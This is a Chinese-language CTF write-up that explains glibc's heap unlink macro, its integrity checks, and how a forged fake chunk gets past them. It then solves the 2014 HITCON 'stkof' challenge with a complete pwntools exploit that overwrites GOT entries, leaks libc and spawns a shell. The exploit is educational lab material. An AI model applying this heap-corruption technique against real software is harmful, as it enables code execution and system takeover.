一、 Unlink介绍
Unlink被定义为一个宏(高版本libc中被定义为了静态函数 unlink_chunk),其源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
|
#define unlink(AV, P, BK, FD) { FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); else { FD->bk = BK; BK->fd = FD; if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV); if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; } } } }
|
Unlink是堆管理中的一个操作,用于将一个chunk从双向链表中取出。触发unlink,往往是通过free物理相邻的下一块chunk,检查到该chunk的上一块处于free状态(size的prev_inuse为0),就用unlink将上一块脱链后合并。
实现过程如下图。(图画的丑陋,别喷)

当我们执行Unlink将chunk2从双向链表中取出的时候,这个双向链表就变成下面这个样子。

漏洞点: 如果我们可以伪造chunk2,通过控制fd和bk的值,我们似乎就可以实现任意地址写。
但是事情并非如此简单,通过上面给出的源码可以看到,Unlink内部做了许多保护和限制,下面我们就来研究这些保护以及限制。
二、 保护和限制
1. chunksize(P) == prev_size(next_chunk(P))
这部分检测源码如下:
1 2 3 4 5
| nextchunk = chunk_at_offset(p, size);
if (__builtin_expect(nextchunk->prev_size != size, 0)) malloc_printerr("corrupted size vs. prev_size");
|
这部分检测检查的是下一个chunk的prev_size是否和当前堆块的prev_size相等(这是free函数中的检测)
2. fd->bk == P && bk -> fd == P
这部分检测源码如下:
1 2 3 4 5 6 7 8 9
| if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); else { FD->bk = BK; BK->fd = FD;
|
其实就是在检测这个双向链表的结构是否完整。
3. not small
这部分检测源码如下:
1 2 3 4 5 6 7 8 9
| if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV);
|
简单来说,如果chunk的大小落在largebin范围内,就会进行对nextsize的检查
三、 适用场景及绕过方法
适用场景(一般来说)
- 有一个list专门用于存户malloc得到的指针
- 存在溢出漏洞
保护绕过(以上面讲的适用场景为例)
保护1
通过溢出,对下一个堆块进行修改,使得下一个堆块的prev_size = fackchcunk的size,prev_inuse = 0
保护2
对于保护2,可以通过构造facck chunk来绕过。
chunk_list存在的时候,我们做以下构造
fack chunk的fd指向 存放当前堆块指针的地址 -0x18(bk指针相对于chunk头的偏移是0x18)
fack chunk的bk指向 存放当前堆块指针的地址 -0x10(fd指针相对于chunk头的偏移是0x10)
这样就实现了 fack_chunk的fd指向的“chunk”的bk指向它,fack_chunk的bk指向的“chunk”指向它,从而成功绕过检测。
1 2
| fakeFD -> bk == P1 *(&fakeFD + 0x18) == P1 *fakeFD == &P1 - 0x18 fakeBK -> fd == P1 *(&fakeBK + 0x10) == P1 *fakeBK == &P1 - 0x10
|
保护3
更简单了,直接不申请largebin大小的chunk即可。
四、 例题分析
题目来源:[2014_hitccon_stkof]
先检查一下保护,看一下文件的ELF信息
可以看到是64位小端序,开启了canary和nx,got表可写

丢到ida里面看一看(为了方便查看,改了一些函数和变量的名字)
main函数

creat函数

delete函数

edit函数

还有一个没什么用的函数,这里就不管他了。

通过分析程序的主要函数,我们发现申请的堆块的指针都在存放在bss段的一个数组(后面叫做list)中,并且edit函数输入的字节数目由我们自己控制,所以存在溢出。所以这道题可以用unlink来做。

前置准备:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| def cmd(choicce): p.sendline(str(choicce).encode())
def add(size): cmd(1) p.sendline(str(size).encode())
def edit(index,size,content): cmd(2) p.sendline(str(index).encode()) p.sendline(str(size).encode()) p.send(content)
def delete(index): cmd(3) p.sendline(str(index).encode())
|
所以思路就很清晰了:
我们先申请四个堆块(第一个用后续操作,第二个就是我们用来制作fack chunk的,第三个用来触发unlink,堆块四用来chunk防止与top chunk合并)
1 2 3 4 5 6 7 8 9 10
| add(0x80) p.recvuntil(b'OK\n') add(0x80)
p.recvuntil(b'OK\n') add(0x80) p.recvuntil(b'OK\n') add(0x20)
|
然后通过edit第二个堆块来制造fack chunk并溢出到第三个堆块,修改他的prev_size和prev_inuse
1 2 3 4 5 6 7 8 9
| chunks = 0x602140 aim = chunks + 0x10 fd = aim - 0x18 bk = aim - 0x10
p.recvuntil(b'OK\n') payload1 = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90) edit(2,0x90,payload1)
|
此时,chunk2内存是这样的

接着free第三个堆块触发unlink,这个时候原来存放第二个堆块的指针(list[2])的位置就被写入了 &list -0x8

后面我们就可以通过edit堆块2去修改list中存放的值,我们将chunk_list[1]、chunk_list[2]、chunk_list[3]的值分别改为free、puts、atoi的got表地址
然后通过edit堆块1,实现修改free_got为 puts_plt ,然后free堆块2就能泄露puts函数的真实地址,据此算出libc_base
然后edit堆块3将atoi_got改为system的地址,最后输入/bin/sh就能getshell
完整的exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| from pwn import * context(log_level='debug' , os = 'linux', arch = 'amd64') pwnfile = './pwn'
elf = ELF(pwnfile) libc = elf.libc
is_remote = 0
if (remote): p = remote('node5.buuoj.cn', 26221) else: p = process(pwnfile) def cmd(choicce): p.sendline(str(choicce).encode())
def add(size): cmd(1) p.sendline(str(size).encode())
def edit(index,size,content): cmd(2) p.sendline(str(index).encode()) p.sendline(str(size).encode()) p.send(content)
def delete(index): cmd(3) p.sendline(str(index).encode())
if __name__ == '__main__':
chunks = 0x602140 aim = chunks + 0x10
fd = aim - 0x18 bk = aim - 0x10 puts_plt = elf.plt['puts'] free_got = elf.got['free'] fread_got = elf.got['fread'] puts_got = elf.got['puts'] atoi_got = elf.got['atoi'] add(0x80) p.recvuntil(b'OK\n') add(0x80) p.recvuntil(b'OK\n') add(0x80) p.recvuntil(b'OK\n') add(0x20)
p.recvuntil(b'OK\n') payload1 = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90) edit(2,0x90,payload1) p.recvuntil(b'OK\n') delete(3)
p.recvuntil(b'OK\n') payload2 = b'a'*0x10 + p64(free_got) + p64(puts_got) + p64(atoi_got) edit( 2 , len(payload2) , payload2)
p.recvuntil(b'OK\n') edit( 1 , 0x8 , p64(puts_plt))
p.recvuntil(b'OK\n') delete(2)
puts_addr = u64(p.recv(6).ljust(8, b'\x00')) success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts'] success("libc_base: " + hex(libc_base))
system_addr = libc_base + libc.symbols['system'] success("system_addr: " + hex(system_addr))
p.recvuntil(b'OK\n') edit( 3 , 0x8 , p64(system_addr)) pause() p.sendline(b'/bin/sh\x00') p.interactive()
|